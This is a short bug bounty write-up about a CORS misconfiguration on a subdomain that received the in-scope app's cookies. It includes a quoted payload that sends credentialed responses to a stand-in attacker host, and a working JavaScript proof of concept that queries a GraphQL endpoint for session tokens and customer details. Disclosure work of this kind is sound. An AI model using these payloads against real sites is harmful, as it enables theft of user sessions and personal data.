CORS Misconfig on Out of scope domain Bug Bounty Writeup (300 USD Reward )

jowin922
2 min readDec 8, 2022

--

I got an invite to a bug bounty program, the scope of the testing was on app.redacted.com While checking and understanding the login process of the app. I found a CORS vulnerability.

After login is successful, a JS script called /vuln-subdomain/sw.js was loading and it was a sending all the cookies and confidential data to vuln-subdomain.com through GET request where it was stored.

The vuln-subdomain.com has a CORS misconfig and random sites would be able to read data from vuln-subdomain.com. So because of this misconfig the inscope domain app.redacted.com has become vulnerable as it has sent confidential data and cookies to vuln-subdomain.com. The vuln-subdomain.com had graphql and sending a graphql payload through CORS will return sensitive data.

I tried the normal CORS payload from payloadallthings which is mentioned below but it didn’t work. I searched why it didn’t work in this case. The output here was by GRAPHQL for the vulnerable subdomain. Payload seemed to not work because the response in this case was not synchronous and there was delay in the response coming.

var req = new XMLHttpRequest(); 
req.onload = reqListener;
req.open('get','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='//atttacker.net/log?key='+this.responseText;
};

So after some googling, I was able to come up with below POC which successfully read data from vuln-subdomain.com

var createCORSRequest = function(method, url) {
var xhr = new XMLHttpRequest();
if ("withCredentials" in xhr) {
// Most browsers.
xhr.open(method, url, false);
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var respons = JSON.parse(JSON.stringify(xhr.responseText))
alert(respons);
}
}

} else if (typeof XDomainRequest != "undefined") {
// IE8 & IE9
xhr = new XDomainRequest();
xhr.open(method, url);
} else {
// CORS not supported.
xhr = null;
}
return xhr;
};

var url = 'https://vuln-subdomain.com/redacted-backend/graphql';
var method = 'POST';
var xhr = createCORSRequest(method, url);

xhr.onload = function() {
// Success code goes here.
};

xhr.onerror = function() {
// Error code goes here.
};

xhr.withCredentials = true;
xhr.send('{"operationName":"GetCurrentCustomerSession","variables":{},"query":"query GetCurrentCustomerSession {\n getCurrentCustomerSession {\n chatSession {\n ...FragmentChatSession\n __typename\n }\n enableRating\n xmppUser {\n id\n username\n token\n host\n __typename\n }\n __typename\n }\n}\n\nfragment FragmentChatSession on ChatSession {\n id\n sessionId\n userCustomer {\n id\n name\n email\n phoneNumber\n gender\n userType {\n type\n __typename\n }\n comment\n commentedBy {\n name\n __typename\n }\n __typename\n }\n userBCA {\n username\n name\n {\n id\n username\n host\n __typename\n }\n __typename\n }\n chatType {\n typeName\n __typename\n }\n chatReason {\n reasonName\n __typename\n }\n sessionSentiment {\n sentimentType\n __typename\n }\n skill {\n name\n published\n __typename\n }\n sessionCategories {\n categoryName\n __typename\n } }\n}');

The program provided 300 USD bounty for finding this vulnerability.

Thanks for reading the article. Please subscribe and follow for more web security / Bug Bounty related content.

You can also follow me on twitter @jowin922

--

--